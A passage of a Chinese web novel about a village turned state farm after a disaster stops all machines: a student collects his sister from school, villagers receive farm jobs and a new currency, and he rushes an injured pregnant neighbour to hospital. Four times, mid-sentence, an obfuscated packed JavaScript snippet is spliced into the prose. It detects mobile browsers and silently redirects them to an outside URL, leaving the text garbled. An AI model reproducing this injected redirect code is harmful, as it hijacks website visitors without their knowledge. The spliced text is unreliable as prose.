负责人抬手看了眼手表,笑着道:“别担心,学校有专人管理,如果今天晚上机器还没有恢复正常,明天下午两点,县里会组织人手送学生回家。” “如果等不及也可以去自己去学校接孩子,但必须有父母兄弟姐妹一类的家属拿身份证或者户口本亲自到场,不能顺路替别人接孩子。” 负责人表情严肃:“我再重申一次,现在是特殊情况,上面早就发了话,要是有人敢趁机作奸犯科,拉到派出所直接枪毙。” 贺隽夏若有所思地点点头,看来这个国家的准备比他想象得更加充分全面。他的眼神不着痕迹地在负责人的手表上停了一瞬,这种时候还能工作的手表可不简单。 他高兴道:“谢谢领导,知道县里会送学生回家我们就放心了。” 国家强大的公信力在此刻体现出了重要作用,村长村干部带头号召,冷静下来的村民们各回各家等消息。 曾秀平走在路上唉声叹气:“早知道就给小秋请假了,也不知道成凤有没有买到粮食,那磁场是什么鬼东西?” 曾秀平转头看向贺隽夏:“幸好你聪明,提前给家里买了那么多东西,不然后面的日子不好过。” 她是国家困难时期里走出来的人。 曾秀平叹气道:“我小时候科技不像现在这么发达,家里连米都吃不起,就天天吃红薯,有几年收成不好,村里还有饿死的人,那时候生下来的娃瘦成竹竿竿,根本养不活。” “咱们国家慢慢强大起来了,好不容易过了几年好日子,怎么就又要回去了呢?” 曾秀平抹了把脸,声音有些哽咽。 “你们兄妹俩在我眼皮子底下,我倒是不担心,但是成凤一个人在市里,还怀着娃娃,我心里就揪得紧。” “要是亲家对她不好,受了欺负,也没人能给她撑腰。” 贺成材没有说话。 他是个很沉默的人,也是个典型的农村父亲。一辈子都在地里勤勤恳恳地干活,就像一头不知疲倦的老黄牛。 但从那张比平时更加沟壑纵横的脸上就可以看出,他的心里并不平静,充满了对未来,对远方妹妹的担忧。 内心流淌的情感告诉贺隽夏,此时他应该说点什么。 贺隽夏上前插进曾秀平和贺成材中间,一只手挽着一个人,安抚道:“咱们村离C市也不远,到时候我可以骑单车去看我姑。你们想,咱村里其他的年轻人都天南海北地打工,他们家里人想看一眼都找不到人。” 对比不愧是产生幸福感的最快办法。 曾秀平的脸色立刻缓和了许多,她认同地点头:“也对,你姑离得也不远,你和你妹也在家,咱们家比起其他人好多了。” 时间很快来到第二天早上九点。 失灵的机器没有任何变化,村民们心里的期望落了空,贺隽夏和父母商量后决定开车(三轮车)去学校接人。 贺隽秋所读的高中在县城郊区,离贺家村比较远,骑电动车都要四十多分钟,走路回来至少需要一个半小时。 而且现在情况特殊,他们还不知道县里的情况怎么样,贺隽秋要带回家的东西又肯定不少,把自家孩子交给其他人还是没有自己去接放心。 村里另外一户人家也是同样的想法。 村里人大多沾亲带故,他们家和这家人也不例外,往上数几代大家都是一根藤上的瓜。两家人商量后决定由贺隽夏和贺木头(孩子父亲)一起去学校接人,也好有个照应。 交通工具自然是贺隽夏家的纯脚踏式三轮车。 大抵是接孩子回家心切,两人交替骑三轮车,一人骑一会,没过多久就到了县城。 县里的气氛还不错,除了各家超市门前挤满了想买东西的人,一路上还有很多居委会的工作人员等拿着矿泉水瓶制作的简易喇叭大声宣读通知,民警、特警、消防队和部队军人四处巡逻。 通知内容和贺家村的负责人说的大差不差,谁在这个时候作奸犯科,烧杀掳掠直接从严处置,管你是七十岁老太太还是十六岁未成年都别想逃。 不仅自己遭殃,还要连累家人。 贺木头惊奇:“县里管得真严,看来那个负责人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730929|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没骗我们。” 贺隽夏心情不错:“管得严是好事,要是乱起来就坏了。” 贺木头点头:“你说得对,还是严点好,不过咱们这边离军区近,有军区在,乱也乱不起来。” 两人你一句我一句,很快就到了县高级中学,奇怪的是学校外面空空荡荡,没有他们想象中人挤人的画面。 贺隽夏把三轮车停在路边,用U形锁锁住轮胎,在门卫室用身份证登记后,顺利进入学校。 贺木头的女儿读高一,高一和高二的教室不在一栋楼。他们约好在三轮车边汇合,随即分开走向不同的教学楼。 贺隽夏找到贺隽秋的教室高二五班,他透过门上的他曲起手指敲了敲门。 “老师你好,我是贺隽秋的哥哥,来接她回去。” 几秒后教室的门被打开,开门的年轻女老师看向学生问道:“贺隽秋,他是你哥吗?” 贺隽秋高兴:“张老师,是我哥。” 张老师从讲台上拿出两张表格和一支笔:“这位家长,麻烦你填一下申请表。” 贺隽夏抬头看了眼空荡荡的教室,教室里只剩下七八个学生,应该都是寄宿生。他快速填完申请表,表格一式两份,家长一份,学校一份。 张老师嘱咐道:“贺隽秋,你和你哥早点回家,不要在外面逗留,注意安全,在家里也不要忘记学习,争取弯道超车。” 贺隽秋重重点头:“嗯嗯,好,张老师再见。” 出了教室,贺隽秋就原形毕露,蹦蹦跳跳地在贺隽夏耳边叽叽喳喳,像只欢快的百灵鸟。 贺隽秋:“哥,幸好你来了,听我们班主任说,现在县里抽不出人手,不知道要多久才能过来送寄宿生回去。 ” 贺隽夏伸手接过她背上的书包,提在手里感觉有大几十斤重,他不由得问道:“你书包里怎么这么重?” 贺隽秋笑嘻嘻:“就是课本、作业本、卷子和老师让我们买的资料书啊,你不会提不动吧。” 贺隽夏微笑:“怎么可能。” 他暗自施力把书包往后一甩背在背上又悄悄甩了甩用力过度的手,转移话题道:“现在去你寝室收拾东西?” 贺隽秋不解:“要收拾吗?” 到底还是个孩子。 虽然知道灾难已经到来,但灾难表面上对人类的生命没有任何威胁,很难让人警惕起来,总觉得就是停水停电那么简单的事。 贺隽夏:“当然。” 如果他想得没错,未来几年内贺隽秋都很难再有回来的机会。 12. 第 12 章 临近女生寝室楼时,贺隽夏从口袋里拿出折叠成小方块的蛇皮口袋递给贺隽秋。 贺隽秋眼睛一亮:“哥,你早有准备啊。” 她还愁用什么装东西呢,真是打了瞌睡来了枕头,不愧是她哥,默契。 贺隽夏提醒:“被子衣服鞋子那些能带的全部带回来,我骑了三轮车过来,放得下。” 贺隽夏:“好嘞。” 贺隽秋将离校申请表递给宿管看,宿管打了个哈欠,接过来看了几眼才开门让她进去。 女生寝室不允许男生进入,男性家属也不行,贺隽夏只能站在女寝室楼外等贺隽秋收拾东西出来。 贺隽夏漫无目的地打量着周围的环境,没过一会儿,他身后传来其他人的声音。 “小夏,你们来得还挺快呀。” 贺隽夏转过身就看见贺木头和一个穿着高校服的短发女生慢慢朝这边走来。 贺隽夏笑笑:“你们也不慢嘛。” 贺木头走到他身旁,短发女高中生有些生疏地喊道:“小夏哥。” 贺隽夏点点头。 短发女高中生叫贺灵,是贺家村为数不多的与贺隽秋同龄的女生,两人关系很不错。 他同样提醒道:“现在情况不一样,你把寝室能带的东西都带上,衣服鞋子也别忘记。” 贺木头:“对,都带上,咱们村负责人说是什么磁场有问题,看样子不是一天两天能解决的事。” 贺灵:“啊,都要带吗,我寝室没那么多打包袋。” 贺隽夏熟练掏出两个叠好的蛇皮口袋:“都是干净的,你先用着。” 贺灵不好意思道:“谢谢。” 她拿着蛇皮口袋走进寝室楼,贺隽夏和贺木头有一搭没一搭地聊天,没过多久,两个女生就各自拖着两个大蛇皮口袋说说笑笑地走出来。 贺隽夏看着鼓鼓囊囊的蛇皮口袋把书包还给贺隽秋,和贺木头一样一手提一个袋子往校门口走去。 两个小女生手挽着走在前面,高高扎起的马尾一晃一晃,齐耳的短发随着迎面吹来的清风微微飘忽。 是青春啊~ 已经被医院提前毒打过的医学生不禁想起自己的高中时期,怀念那时候最单纯的快乐。 …… 四个人回到贺家村时,太阳已经高高悬挂在正上方,阳光刺目灼热,不愧秋老虎的威名。 曾秀平和贺成材不在家,两人早上就被贺家村的负责人叫我去帮忙指点人工建设梯田的步骤。 贺隽夏把三轮车停在院坪,两只小狗听见动静,立刻屁颠屁颠地跑过来,一会儿蹭蹭他,一会儿蹭蹭贺隽秋,小尾巴摇得像螺旋桨。 贺隽秋受不了小狗的“攻击”,立刻蹲下来和它们一起玩游戏,一个丢,两个接。可怜的小狗布娃娃被芝麻和乌云分别咬住头和屁股,连内里的棉花都露出来了。 贺隽夏伸手解救可怜的布娃娃,转头看向贺隽秋:“先把东西收拾好再来逗狗,厨房里有菜有饭,饿了自己去吃。” 一阵不轻不重的脚步声响起,没有人说话,贺隽夏却听出了来人的身份。 他道:“爸,妈,我把妹妹接回来了。” 曾秀平和贺成材推门而入,贺隽秋看见他们两个满头大汗,转头去客厅接了两杯水出来。 “先喝点水。” 贺隽秋问:“爸,妈,中午这么热,你们两个还去田里啊?” 曾秀平仰头咕咚咕咚喝完水,才缓缓开口道:“现在机器都停了,还没弄好的梯田只能靠人用锄头挖,那些当兵的不会,领导叫我们去帮忙。” 贺隽秋啊了一声:“那你们下午还去不?” “要去,领导说等太阳没那么热了再去,免得中暑。” 曾秀平伸手捶了捶僵硬的肩膀:“昨天晚上没睡好,我去睡个午觉,等会小张来我们家,记得把我叫醒。” 小张,原名张全,是驻扎在贺家村的军人。 贺隽夏:“好。” 不知是下午几点,外面的天已经阴了下来,厚重的云层挡住炙热的阳光,贺家的外大门被人敲响。 “请问曾婶子和贺叔在家吗?” 听见声音,贺隽夏放下手里的中草药书吆喝道:“在家,麻烦你等一下。” 他把午睡的曾秀平和贺成材叫醒,又快步出去给人开门。一个皮肤黝黑身材精壮的年轻小伙朝他笑道:“你妹妹接回来了?” 曾秀平和贺成材要去帮忙,贺隽夏送过几次饭和水,他们两人也算认识。 贺隽夏:“回来了。” 他看着张全脸上明显是被晒伤的痕迹道:“你等一下。” 贺隽夏从储物柜里取出液和大容量的芦荟胶,这是他得知政府要在贺家村征收土地是为了建农场后,去县里买回来的,买了一大箱。 张全连连摆手:“不用不用。” 贺隽夏直接把东西塞他怀里:“你不用,你队友也要用。” 曾秀平和贺成材洗了把脸出来,看见贺隽夏给张全塞芦荟胶,转头又去柜子里取了两盒递过去。 曾秀平笑道:“你们那么多人,一盒哪里够,晒成这样子,家里人看了不得心疼死。” 一群小伙子都被晒脱皮了也不喊苦不喊累,锄头一挥就是干活,怪让人心疼。 贺隽夏笑:“收着吧,咱们以后就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730930|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一个农场里的人,不用和我们客气。” 张全想到领导昨天开会说的要和村里人打好关系,推拒不成,还是收了下来。 …… 一天的劳作结束,大家终于能坐下来休息一会。 张全坐在椅子上歇息了一会,就翻出干净的衣服去洗澡堂冲澡。这回自来水和电早就停了,他们用的是山里引下来的水,利用地势因素,省去了打水的麻烦。 张全摸出香皂从头搓到脚又往头顶浇水冲洗身上的肥皂泡沫。 被太阳晒过的水不冷,还残留着几分温度,然而水流落到被太阳晒脱皮晒起泡的地方,仍不免让他感觉一阵刺痛。 他是今年夏天入伍的新兵,从小又有个当兵梦,高考考得不太好,干脆直接参军入伍。虽说已经经过一段时间的系统训练,但他的身体素质比起那些服役了好几年的老兵还差得远。 张全呲了呲,想起下午得到的三罐芦荟胶,打算回去涂点试试。他三两下洗干净泡沫用毛巾擦掉身上的水珠,洗澡堂的帘子突然被人掀开,是他的班长。 张全动作一顿。 糟糕,他忘记把收芦荟胶的事报告了。 张全挠了挠头,干笑几声准备说话,只是还没等他开口,班长就先道:“今天感觉怎么样?” 张全傻笑:“还行。” 班长看了眼他后背发红的水泡和被晒脱皮的地方,笑道:“还行就行,早点习惯少受罪,我那里有几管药治晒伤特别好用,等会我拿给你。” 张全(心虚):“那个班长,我有件事要向你报告,曾婶子送了我三罐芦荟胶,我收了。” 班长眼睛一瞪:“你敢收老乡的东西,还收三罐?!” 张全连忙把下午发生的事和自己当时的想法如倒豆子一般说了出来。他入伍以来什么苦没吃过,脚上的水泡长了挑,挑了长,倒不是贪图几罐芦荟胶,只是想起领导开会时说过,未来他们和贺家村的村民要在农场里共同工作,少则几个月,多则几年,一直泾渭分明地处着不是个事,得找个破冰的机会。 像这样你送我一点东西,我送你一点东西,一来二去就熟了,他们家那边都这样。 班长脸色稍缓:“你怎么不早说。” 张全嘿嘿一笑:“我忙忘记了。” 班长:“行,芦荟胶你先别动,我现在去找排长报告,看看排长和连长怎么说。” “你小子以后注意点,别乱收老乡家的东西。” 张全大声:“是。” 班长澡也没洗就匆匆离开,最后这件事得到了一个不错的结果。 当然,张全必须要在所有战友面前做一次检讨。 13. 第 13 章 机器失效的第五天上午,贺家村的所有人在村委会办公室的小广场上集合开会。 这回来开会的人除了贺家村的村民民还有驻扎在贺家村的士兵。 贺强国努力维持秩序,让贺家村的人保持安静,否则与另一方令行禁止的团体处在同一空间,对比也太难看了。 好在贺家村的村民挺识趣,没人跳出来当刺头,场面很快就安静下来。 负责人走上前,站在高高的台阶上环视一圈,满意地收回视线。 他清了清嗓子道:“本次开会的主要内容是贺家村农场的建设及农场岗位的分配。” 村民们瞬间打起精神来。 自从特殊磁场爆发导致机器失灵,县里的各种公司店铺餐馆都逐渐关门歇业,那些城里人都只能呆在家里无所事事。 他们现在能得到一份养家糊口的工作,还能享受事业编的待遇,可就太幸运了。 村里的老一辈人还没忘记当年是如何羡慕城里的工人,羡慕他们有工资,羡慕他们福利好,羡慕他们吃商品粮,不用面朝黄土背朝天。 如今风水轮流转,要下地种田干农活又怎样。他们是农场的员工,享受事业编待遇,吃公家饭,城里人想来还没机会嘞。 贺家村老一辈人年轻时生活的那个年代,农村人和城里人就是天壤之别。农村人进城经常会遭城里人白眼嫌弃。 一个农村姑娘能嫁到城里去,在城里人嘴里就是天大的福气,处处都要矮夫家人一头不说,被城里婆婆磋磨也不敢有怨言。 也就是后来经济和科技快速发展起来,农村人出去打工赚钱不比城里人差,农村人和城里人的差距才渐渐模糊起来。 老一辈们心里美滋滋。 看那些城里人以后还咋瞧不起他们农村人。 年轻一辈们则是又忐忑又激动。 除了没出社会和刚出社会的小年轻,哪个被社会毒打过的人不喜欢编制。 虽然农场的员工岗位不是公务员那种正经编制,但也比得上国营企业的正经合同工,可不是随便一个人想开除就能开除。 然而负责人说的第一件事却超出了众人的预料。 只见他朝身后招招手,一个年轻的士兵抬着一个画框一样的东西来到众人面前。 画框里是不同颜色的长方形纸张,纸张上印有不同的数字图案及人民银行发行的标志。 负责人和善笑道:“首先我要向大家介绍一下国家发行的新货币币。” 话音落下,饶是贺强国有维持秩序,场面也热闹了起来。 连那群士兵所在的地方也出现了一些细微的声音。 贺隽夏不禁为这个政府的魄力和执行力感到佩服,也由衷地希望这套新币能顺利推行下去。 毕竟现在再使用原来的纸币作为交易货币会严重影响新的经济格局。 而且就算政府没有推出新的货币,未来人们也多会弃用原来的货币,选择以物易物的方式。 只是新货币的出现必然会影响原货币持有人的利益。 灾难正式爆发到现在只过去短短五天,大部分人心里对回归正常生活还抱有期望,不太可能轻易接受新货币的到来。 不过看负责人胸有成竹的模样,贺隽夏猜测政府应该早就准备好了应对措施来保证大方面的稳定。 果不其然。 负责人示意大家先安静下来听他把话说完。他说完后会给二十分钟的提问时间,到那时候大家可以随时提问。 等场面再次安静下来,负责人开始一一介绍说明推行新货币的理由、新旧货币的兑换比例及兑换规则、生活物资的购买渠道、赚取新货币的十种方式等。 负责人透露的信息太多太杂太广,轮到提问时间时,村民们还没来得及把这些话消耗完,只记得几个重要关键的词语。 负责人给贺强国使了个眼色,他立刻上前将早就打印好的《特殊时期生活指南》给每个人都发了一份。 贺隽夏来回翻看手里厚厚的生活指南,略有些忐忑不安的心渐渐安定下来。 无论最后执行情况如何,至少目前的国家管理者心有成算,将新货币推行后如何保障人们的衣食住行写得清清楚楚。 不是假大空的场面话,是真的将每一项的具体应对措施都列了出来,措辞通俗易懂深入人心。 比如家里没粮没钱咋办? 城市以社区和街道为基准,每天早上八点,中午十二点,下午五点都会提供两个小时的免费米粥,每人每餐凭身份证限领一碗。 如果想吃饱,想过更好的生活,则可以去所生活的社区商店买毛线,再将织出来的毛衣帽子给社区回收。 买毛线(仅限第一份)的钱可以先赊欠,等到社区回收毛衣时再从中扣除。 以上类似的措施还有很多,可以说只要不是连免费米粥都懒得领,就绝对不会饿死。 人类是世界上最有韧性的生物。 纵观过去的封建社会,普通百姓只要不是被逼得真的活不下去,一般都不会揭竿起义。 只要这些好的措施能够切实实行下去,这个国家就不会乱起来,或者说要乱,也只是小部分动乱。 贺家村的人吃了颗定心丸,心情瞬间好了许多,甚至怜悯起那些土地征收时要钱要房的人。 当然,怜悯不多。 毕竟通知单上写得明明白白,等国家研制出对付特殊磁场的方法,还是会用回原来的货币体系,他们得到的房子和钱也是实打实的好处。 负责人回答完大家的问题,喝了一大口水,再次清了清嗓子道:“现在我们来说农场岗位未分配的事。” 农场岗位的分配也是个细致活,分配方式主要从男女老少,身体状况,家里被征收田地的数量这三个方面来看。 这位负责人的分配还算公允。 年轻力壮没病没灾的全部去种田,由村里的几个老农民带队,分成八个小组,男女基础工资相同,基础之外的奖金津贴则要看各自负责的土地的收获。 身体不太好的,怀孕的,被征收土地多人口却少的家庭成员则去干洗菜、煮饭等食堂方面比较轻松的活。 当然,这些工作轻松归轻松,工资和福利却要比下地干活的人少一大截。 粗略地分配完工作,有人满意有人不满意,却也没人傻到当场提出来,负责人还在呢。 不过负责人也不是不近人情的人。他知道无论怎么分都很难让所有人满意,干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730931|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脆给大家一天的时间换岗位,只要互相交换的两个人达成一致就行。 这件事最后被交给贺强国去办。 至于驻扎在贺家村的一百多名士兵的去留问题,负责人也说得很清楚。 他们会留在贺家村,成为贺家村农场保卫科的成员直到这场特殊的灾难结束。 同时负责人也明确表明,在村里还没来新人的情况下,这些士兵也会参与农事,不会局限于巡逻保卫等工作。 简单说就是万金油,一块砖,哪里需要哪里搬。 两件事说完,会议宣告结束。 负责人走后,广场上立刻响起嘈杂的讨论声,众人议论纷纷,都在谈论刚刚得知的几个重磅消息。 贺隽夏对自己分配到的岗位没意见,种田就种田呗,以前每逢放暑假,他去乡下玩也会跟着爷爷奶奶干一点农活。 家里养猪的时候他还会和村里的朋友一起去山上割猪草,就当玩一样。 忘了说,他爸,一个法官,也逃不了自家亲爸亲妈的命令,收麦子收玉米挖土豆,一个活都少不了。 就是贺隽秋有点可惜,还不到分配工作的年纪。不知道错过了这次工作分配,还能不能等到下一次。 …… 工作分配完,人也该干活了。 第二天的一大早,各家各户就来到自己所属的小组,根据大组长贺强国分配的任务,开始给自己分到的土地翻地松土。 第一天的工作效率着实不算高。 在各种农用机器盛行,农村人不再需要靠土地吃饭的年代,大部分年轻人都没怎么下过地,还都是亚健康体质,没干一会就觉得腰酸背痛太阳晒得慌,哪里都不舒服。 一年干了好几天,有人受不了要退出。几个闹着不干活的人都是被家里宠着长大的年轻人,脾气上来了谁劝都不听,就是不干了。 张夏兰家的两个儿子都闹了起来。 张夏兰拗不过他们,没办法,只好把大儿子小儿子的工作卖出去。 贺隽夏听说时一个岗位已经卖到500块。别以为500块不多,他们现在一个月的工资也才100块。但就是这样还是供不应求。想买工作的人各种打听消息拉关系,村里不少人都卖了工作。 也有人找上门来问贺隽夏卖不卖,不仅承诺给半年工资,还额外给50g黄金,20万旧币(签合同),听得贺隽夏咂舌,难怪村里不少人都受不住诱惑卖了工作。 不过贺隽夏直接拒绝了。 种田有农忙和农闲的时候,现在累是累,以后闲也是真闲。因为嫌累就把工作卖掉,以后有后悔的时候。 他倒是想让家里给贺隽秋买一个工作。只是一个工作的价钱越炒越高,目前有人出售的工作又是那些必须下地干活的工作,不能调岗,一家人商量过后还是放弃了。 毕竟贺隽秋是家里最小的孩子,从小就没吃过什么苦,又正是发育长身体的时候。 与其花大价钱让她干伤身体的苦活累活,还不如让她在家里照顾两只小狗,照看院子里的小菜地,有事没事和贺木头家的贺灵去山里挖些菌子竹笋啥的给家里添几道菜。 反正以后自己也可以把工作传给她。 贺隽夏如是想。 14.第 14 章 接下来的一段时间里贺家村还算平静,买下岗位的人住进贺家村后也没闹什么幺蛾子。 贺家村的上百亩土地被细致划分成几个大区域,分别种上了南瓜、红薯、土豆和大白菜。一切准备工作就绪,只待种子发芽,农场的员工们难得有了一段清闲的时间。 然而这份清闲并没有持续太久,一场关于贺家村养殖场建设的会议瞬间引得众人人心浮动。不仅一部分村里人想换个轻松有油水的活,县城里的人也对养殖场里的工作岗位虎视眈眈。 一时间找关系的找关系,送礼物的送礼物,看热闹的看热闹,只有两百多位常住民的贺家村顿时热闹地像一座千人小镇。 贺隽夏一家就属于看热闹的那批人。 曾秀平和贺成材都是小组组长,他们的基础工资比组员高了快一倍,作物收获时还能拿1%的粮食提成,就根本没想过换岗位。 再说他们从小就在地里干活,干了大半辈子,早已习惯这种工作强度,离不开也不愿意离开自己赖以生存的土地。 贺隽夏也不打算掺和进去。 他很有自知之明,贺家村的人是沾了土地征收的光才能得到一份农场的工作,否则这些岗位早就被大大小小的关系户占光了。 就算会分几个懂养殖知识的村民去养殖场,也不可能是年轻力壮的男性。 …… 一天下午休息,贺隽夏嫌外面太热,拒绝了和贺隽秋去山上打打野柿子,留在家里“训练”两只小狗。 与刚来时相比,两只小狗胖了一大圈,小短腿撑着肥嘟嘟的身体,小屁股和尾巴一扭一扭,像两颗大糯米团子。 贺隽夏用肉骨头逗弄两只小狗,乌云突然狂吠出声,芝麻也跟着叫了起来。 “汪汪”“汪汪汪” 小狗崽的声音清脆稚嫩,听起来没有半点威慑力,反倒让人觉得可爱想逗弄。 贺隽夏一手揉一只狗头,铁质的外大门被人砰砰敲响,力道很重,像是有什么急事。 贺隽夏问:“谁呀?” 他很确定不是家里人,不然芝麻和乌云不会同时大声叫唤。 “是我,贺根,我借下你们家的三轮车,我婆娘摔了,要马上送她去医院。” 贺隽夏立刻起身开门:“我跟你一起去。” 贺根满头大汗,急得都快哭出来了,看见他就像是看见了救命稻草,嘴里不停地说着谢谢。 “快快快,你老婆在哪?” 贺根跑在前面带路,贺隽夏飞快地蹬三轮车跟着,路过正在村里巡逻的士兵时,他连忙招手喊道:“贺根他老婆摔了,来几个人帮忙送她去医院。” 巡逻队的人听见声音马上跑过来,一行人快步朝贺根家冲去。 贺根的老婆洪芝芳脸色苍白地倒在地上,不停地喊着肚子好痛,地上流了一滩血。 好在村里的老人听见动静连忙赶过来帮忙,知道两个小年轻慌了神手足无措,在贺根出去借车时就麻利地准备好了生孩子需要的东西。 有人在硬邦邦的车厢里垫了一层厚棉被,几个人小心翼翼地托起洪芝芳把她放进三轮车,贺根的怀里也被人塞了一个大包。 贺隽夏看人躺稳了马上用力蹬三轮车,但车里躺着一个成年人,蹬车需要的力量比空车时大了好几倍,速度提不上去。 贺隽夏转头喊道:“来几个人在后面推。” 话没说完立即有四五个小战士抓住车护栏。几个人一边推一边跟着车跑,三轮车的速度总算是提了上来,没过一会三轮车就驶出了贺家村。 洪芝芳躺在车里,下腹的痛苦和持续的失血令她头晕目眩,眼里只能看见模糊的影子。 她是个很年轻的姑娘,只有23岁,去年六月才嫁到贺家村。如今突然遇见这种情况,只觉得天都要塌了。 “贺根,我是不是要死了。” “妈,妈,你在哪里,贺根,我妈呢,我要见我妈。” “我要回家,好痛,我要回家。” 哀叫痛苦的声音耳不忍闻,贺隽夏试图安慰她,但洪芝芳完全慌了神,根本听不进去,只不停地哭喊着要见妈妈。 贺隽夏朝车旁手足无措的贺根吼道:“你还愣着干什么,想不想你老婆孩子平安无事?” 贺根被吼懵了。 贺隽夏没空在意他的情绪,直接命令道:“去,握着你媳妇的手,告诉她有你在一切都没问题,让她冷静下来。” 虽然他在医院实习时还没轮到产科,给不了洪芝芳太大的帮助,但他记得带教老师说过的一句话,病人的情绪很重要。 情绪,或者说意志,甚至能决定一个人的生死。 在这种危急关头下,如果连病人自己都选择放弃陷入消极的情绪,再好的医生怕是也无力回天。 贺根在贺隽夏的训斥声中回过神来。 他一边跟着车跑,一边紧紧握住洪芝芳无力的手哽咽道:“媳妇,你别怕,我在,我在这里,我会一直陪着你。” “咱们马上就要到医院了,你不会有事的。” “你忘了吗,咱们昨天还给孩子取了小名,男孩阳阳,女孩就叫乐乐,你得看着孩子长大啊,不然他以后被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733682|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人欺负了咋办?” “还有咱妈,已经有人去给妈报信了,她马上就会赶过来,你要坚持住啊。” 贺根越说越伤心,越说越难过,说到最后自己也泣不成声。 好在他的一番话终于起了作用,洪芝芳慢慢冷静下来,不再像刚才那样无意义地哭喊。 贺隽夏心里松了口气。 几个人一起努力,成功在半个小时内将人送到了县人民医院。目送洪芝芳被医护人员抬上担架带走,贺根瞬间瘫软下来,坐在地上大口大口地喘气。 贺隽夏倒还好,就是腿很酸。 他毫无形象地坐在医院门前的台阶上,用力揉压酸痛的小腿肚子。以今天的运动量来看,如果尽快不按摩促进乳酸吸收,至少得痛个三四天。 贺隽夏揉了好一会儿,回头见贺根还坐在地上似乎没缓过神儿,不由得拉了他一把:“别傻坐着了,快进去啊。” 几个帮忙的士兵都跟着去了急救室,你一个当丈夫的还坐在地上,像什么样子。 贺隽夏忍不住在心里腹诽。 不过他也是站着说话不腰疼,每个人的心理承受能力本来就不一样,尤其还是面对最亲近的人遇险这种情况。 一开始提着一口气,脑子里只剩下把人尽快送进医院的想法。如今真的到了医院,看着人被医生护士带走,放心了,脑子里紧绷的弦也松了。 空荡荡的脑子自然想不起其他的事。 贺根被贺隽夏戳了一下,摇摇晃晃地起身,拎着手里的背包走进医院来到急救室大门前等待。 贺隽夏没有跟上去。 手术室前等着一堆人,不需要他过去凑数,再说他还得看着三轮车。 目前只有下自行车、纯脚踏式三轮车这类以人力为驱动力,不需要电力、柴油等作为能源的交通工具还能使用。 一辆脚踏式三轮车的价格已经被炒到好几百块,而且还供不应求的状态。要是他也走了,没人看着车,来个胆肥的人趁机把车偷走卖掉,他哭都没地方哭。 毕竟监控早断了。 贺隽夏的视线扫过周围,发现人民医院各种工作井井有条,看病的步骤与科技失灵前基本没有太大的变化。 这说明县政府管理得很好。 贺隽夏掏了掏口袋,理所当然地没掏出烟,只掏出一小把水果糖。 他朝路边玩皮球的几个小孩子招招手:“小朋友要不要吃糖啊?” 小朋友们:…… 小朋友们:“坏人来抓小孩子了,快跑啊。” 小朋友们一哄而散。 15.第 15 章 贺隽夏尴尬地摸了摸鼻子,他只是想打听点消息,怎么就成坏人了呢。 没等他想出具体原因,几个跑开的小孩又带着一个身穿保安服的年轻男生走了过来。 “哥,就是他。” “他笑得好奇怪,还问我们要不要吃糖,我奶奶说只有人贩子才会这样和小孩说话。” 听力很好的贺隽夏:…… 在线急!他该如何证明自己不是人贩子? 贺隽夏朝迎面走来的年轻保安露出一个微笑,年轻保安一愣,下意识地也回了个微笑,看样子还有点局促。 等等,局促? 贺隽夏认真观察,发现这位年轻保安在靠近自己时逐渐变得僵硬。 高中生?大学生? 反正是没被社会毒打过的人。 贺隽夏主动走上前热情道:“帅哥,能向你打听点事儿吗?” 年轻保安内心化身尖叫鸡。 你不要过来啊! 可惜他的内心和身体好似分成了两部分,无论心里如何不情愿,嘴巴还是腼腆地说了声好。 年轻保安:QWQ 贺隽夏的嘴角不听使唤地往上翘,但出于i人权益保护法(e人专有),他还是加快了对话节奏。 他问:“请问附近哪里能买到肉和鸡蛋?” 年轻保安尴尬而不失礼貌地微笑,他伸出手指着一个方向道:“沿着这条路往前走,走到老张包子铺的时候左拐,再一直往前走,走到红春家纺,红春家纺旁边就是肉铺子,肉铺旁边的巷子进去就是菜市场,菜市场里有蛋卖。” 他说得非常仔细,不禁令贺隽夏刮目相看。 他和寝室里的社恐室友第一次见面时,对方足足做了二十分钟的心理准备才憋出一句话。 